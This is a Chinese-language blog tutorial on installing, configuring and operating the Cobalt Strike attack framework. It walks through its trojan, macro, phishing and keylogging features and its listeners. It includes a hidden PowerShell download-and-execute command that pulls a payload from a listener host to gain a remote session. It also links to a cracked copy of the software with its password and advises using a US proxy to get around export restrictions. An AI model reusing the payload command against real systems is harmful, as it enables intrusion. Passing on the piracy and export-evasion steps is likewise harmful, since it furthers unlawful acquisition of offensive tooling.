Cobalt Strike 服务器搭建、维护与使用

前言

2017-12-25 Hello_C 信安之路 Cobalt Strike 初体验

Cobalt Strike 一款以 metasploit 为基础的 GUI 的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe 木马生成,win dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。

钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等。

Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和 sessions。

Cobalt Strike 据说现在最新版为 3.9,主要分为试用版和付费版,试用版为 21 天,付费版 3500 美元,据说网上也有一些破解教程

http://www.cnblogs.com/haq5201314/p/7040832.html

cobaltstrik3.6 破解版下载

https://pan.baidu.com/s/1qYocNbm 密码: 51tg。

因为 Cobalt Strike 是美国对外限制型出口软件,只在美国和加拿大允许发售,所以我们需要 google 搜索下 usa 的个人代理来绕开限制。

http://blkstone.github.io/2017/05/18/cobalt-strike/

0x01 安装与运行

Cobalt Strike 需要 JAVA 环境,需要注意的是 JAVA 环境不要安装最新版 (建议使用 Oracle JDK 1.8),否则会出一些问题,Cobalt Strike 分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在 Linux 系统上。其中关键的文件是 teamserver 以及 cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

1
./teamserver 192.168.3.32 test # 服务器IP 和 客户端连接密码

说一下我安装运行时遇到的坑:
首先:JAVA 版本必须为 1.8,否则就因版本问题无法编译运行;
其次:IP 必须为真实 IP,不能使用 0.0.0.0 或者 127.0.0.1,这样也会报错的。
服务器端运行之后,我们就可以运行客户端了,客户端可以在 Windows 或者 Linux 下都可以。
输入我们刚才 IP 以及端口、密码,用户名可以任意设置。

当攻击目标在控制台所操作的指令都会被记录到保留在 Cobalt Strike 目录 logs 下,对了,破解版是无法更新的。

0x02 参数详情

Cobalt Strike

1
2
3
4
5
6
7
New Connection #进行另外一个连接,支持连接多个服务器端
Preferences #设置 Cobal Strike 界面、控制台、以及输出报告样式、TeamServer 连接记录
Visualization #主要展示输出结果的形式
VPN Interfaces #设置 VPN 接口
Listenrs #创建一个 Listener
Script Manager
Close #退出连接

View

1
2
3
4
5
6
7
8
9
10
Applications #显示受害者机器的应用信息
Credentials #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #进程截图
Script Console #控制台,在这里可以加载各种脚本 https://github.com/rsmudge/cortana-scripts 以增强功能
Targets #显示目标
Web Log #Web访问记录

Attacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Packages #攻击包
HTML Application 生成恶意的 HTA 木马文件
MS Office Macro 生成 office 宏病毒文件
Payload Generator 生成各种语言版本的 payload
USB/CD AutoPlay 生成利用自动播放运行的木马文件
Windows Dropper 捆绑器,能够对文档类进行捆绑
Windows Executable 生成可执行 exe 木马
Windows Executable(S) 生成无状态的可执行 exe 木马
Web Drive-by #钓鱼攻击
Manage 对开启的 web 服务进行管理
Clone Site 克隆网站,可以记录受害者提交的数据
Host File 提供一个文件下载,可以修改 Mime 信息
PowerShell Web Delivery 类似于 msf 的 web_delivery
Signed Applet Attack 使用 java 自签名的程序进行钓鱼攻击
Smart Applet Attack 自动检测 java 版本并进行攻击,针对 Java 1.6.0_45 以下以及 Java 1.7.0_21 以下版本
System Profiler 用来获取一些系统信息,比如系统版本,Flash 版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块

Reporting

1
2
3
4
5
6
activity report #活动报告生成
Hosts report #主机报告
Indicators opromisef com #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口

help

1
2
3
4
5
Homepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于

0x03 基本运行

首先使用 Cobalt Strike 需要创建一个 Listener,点击 Cobalt Strike->Listeners ,然后点击 Add 便可以创建自己想要的 Listeners 了, Cobalt Strike3.6 包括

1
2
3
4
5
6
7
8
9
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中 windows/beacon 是 Cobalt Strike 自带的模块,包括 dns、http、https、smb 四种方式的监听器,windows/foreign 为外部监听器,即 msf 或者 Armitage 的监听器。选择监听器以后,host 会自动填写我们开启服务时的 ip,配置监听端口,然后保存,监听器就创建好了。

在创建好监听器,接下来就需要配置我们的客户端了,Cobalt Strike 提供了多种包括攻击方式,在这里我们使用 Powershell 进行攻击。

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.83:8888/a'))"

当我们在目标靶机运行上面这条 Powershell 之后,我们的 Cobalt Strike 客户端就会监听到我们的反弹链接,我们就可以看到已经有目标机上线。

0x04 与 msf 进行联动

cs 获得了一个上线机器,想把这个机器丢给 msf 中的 meterpreter 获得一个 session 进行控制,这里我们已经获得了一个上线机器。

Evernote看图

配置 proxychains.conf,添加 socks4 127.0.0.1 32557,然后就可以通过 proxychains 使用各种工具做内网渗透了。